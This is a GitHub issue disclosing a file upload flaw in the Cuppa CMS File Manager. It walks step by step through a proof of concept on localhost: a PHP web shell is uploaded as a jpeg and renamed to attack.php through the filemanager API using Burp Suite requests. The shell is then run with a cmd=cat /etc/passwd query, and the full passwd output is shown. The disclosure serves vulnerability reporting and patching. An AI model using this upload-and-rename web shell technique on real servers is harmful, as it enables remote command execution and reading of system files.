

New issue

[Jump to bottom](#)

File Upload Vulnerability exists in Cuppa CMS in File Manager #33

Open GuJiseung opened this issue on Aug 9 · 0 comments

GuJiseung commented on Aug 9 • edited ▼

File upload vulnerability exists in Cuppa CMS in File Manager tap.
Discoverer : **Team Am0namiss**(Members : [hoseongJ](#), [studdcat](#), [AnonyMousStu](#), [GuJiseung](#), [4ministrat0r](#))
link : <http://localhost/cuppa/media/attack.php> (WebShell URL)

Request

PrettyRawHexRenderIn

1 HTTP/1.1 200 OK
2 Date: Mon, 08 Aug 2022 05:09:25 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Set-Cookie: country=us; path=/
5 Set-Cookie: language=en; path=/
6 Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 Cache-Control: no-store, no-cache, must-revalidate
8 Pragma: no-cache
9 Content-Disposition: inline; filename="files.json"
10 X-Content-Type-Options: nosniff
11 Access-Control-Allow-Origin: *
12 Access-Control-Allow-Credentials: false
13 Access-Control-Allow-Methods: OPTIONS, HEAD, GET, POST, PUT, PATCH, DELETE
14 Access-Control-Allow-Headers: Content-Type, Content-Range, Content-Disposition
15 Vary: Accept
16 Content-Length: 273
17 Connection: close
18 Content-Type: application/json
19
20 {
21
22 "files": {
23
24 {
25 "name": "attackphp_1659935365.jpeg",
26 "size": 461,
27 "type": "image/jpeg",
28 "url": "...\\media\\...\\attackphp_1659935365.jpeg",
29 "deleteurl": "http://localhost/cuppa/js/?query_file_upload/server/php/?file=attackphp_1659935365.jpeg",
30 "deleteType": "DELETE"
31 }
32 }
33 }
34

File manager

template

upload_files

user_images

.htaccess

a.jpeg

app_icon_128.png

app_icon_196.png

attack2.php

attackphp_1659935365.jpeg

facebook_feed_large.jpg

icon.png

searchpstaticnet_1659837696.jpeg

searchpstaticnet_1659926671.jpeg

Thunderbird Mail

Target: http://localhost

HTTP/1

Request

PrettyRawHexRenderIn




































































1 POST /cuppa/js/filemanager/api/index.php HTTP/1.1
2 Host: localhost
3 Content-Length: 76
4 sec-ch-ua: "Chromium";v="95", "Not A Brand";v="99"
5 sec-ch-ua-mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54
7 sec-ch-ua-platform: "Linux"
8 Content-Type: application/json
9 Accept: */*
10 Origin: http://localhost
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: http://localhost/cuppa/js/filemanager/index.php
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
17 Cookie: country=us; language=en; PHPSESSID=pybf9l3l1aq35kb04504hafu92l; administrator_path=http://localhost/
18 Connection: close
19
20 {
21 "from": "...\\attackphp_1659935365.jpeg",
22 "to": "...\\attack.php",
23 "action": "rename"
24 }
25

Response

PrettyRawHexRenderIn

1 HTTP/1.1 200 OK
2 Date: Mon, 08 Aug 2022 05:14:16 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Set-Cookie: country=us; path=/
8 Set-Cookie: language=en; path=/
9 Content-Length: 1
10 Connection: close
11 Content-Type: text/html; charset=UTF-8
12
13 1
14

- Click "rename" check in BurpSuite. And rename in BurpSuite.

File manager					
					  
NAME	SIZE	DIMENSIONS	DATE	OPTIONS	
 content	--	--	2016-05-05	   	
 files	--	--	2019-01-29	   	
 media	--	--	2022-08-06	   	
 template	--	--	2016-03-30	   	
 upload_files	--	--	2022-08-07	   	
 user_images	--	--	2019-02-03	   	
 .htaccess	244 B	--	2016-05-06	     	
 a.jpeg	61.4 KB	768 x 512	2022-08-06	     	
 app_icon_128.png	2.0 KB	128 x 128	2014-11-26	     	
 app_icon_196.png	2.9 KB	196 x 196	2014-11-26	    	
 attack.php	461 B	--	2022-08-07	     	

- Click "show URL" button and copy URL.

localhost/cuppa/media/attack.php?cmd=cat+%2Fetc%2Fpasswd

Execute

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:./home/syslog:/usr/sbin/nologin
messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
_apt:x:104:65534:./nonexistent:/usr/sbin/nologin
uidd:x:105:111:./run/uidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117:./nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,:/usr/sbin/nologin
saned:x:114:119:./var/lib/saned:/usr/sbin/nologin
avahi:x:115:120:Avahi mDNS daemon,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:116:121:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:117:7:HPLIP system user,,:/var/run/hplip:/bin/false
geoclue:x:118:122:./var/lib/geoclue:/usr/sbin/nologin
pulse:x:119:123:PulseAudio daemon,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:120:65534:./run/gnome-initial-setup:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
user:x:1000:1000:cuppa_ubuntu,,:/home/user:/bin/bash
mysql:x:122:127:MySQL Server,,:/nonexistent:/bin/false
```

- Run Web Shell in Cuppa CMS

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

